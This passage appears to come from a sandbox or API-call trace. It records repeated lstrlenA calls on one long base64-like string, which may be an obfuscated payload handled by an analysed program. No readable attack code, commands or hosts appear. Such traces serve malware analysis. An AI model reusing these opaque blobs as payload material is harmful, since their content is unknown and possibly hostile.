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") returned 5792 [0042.889] lstrlenA (lpString="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") returned 5792 [0042.889] lstrlenA (lpString="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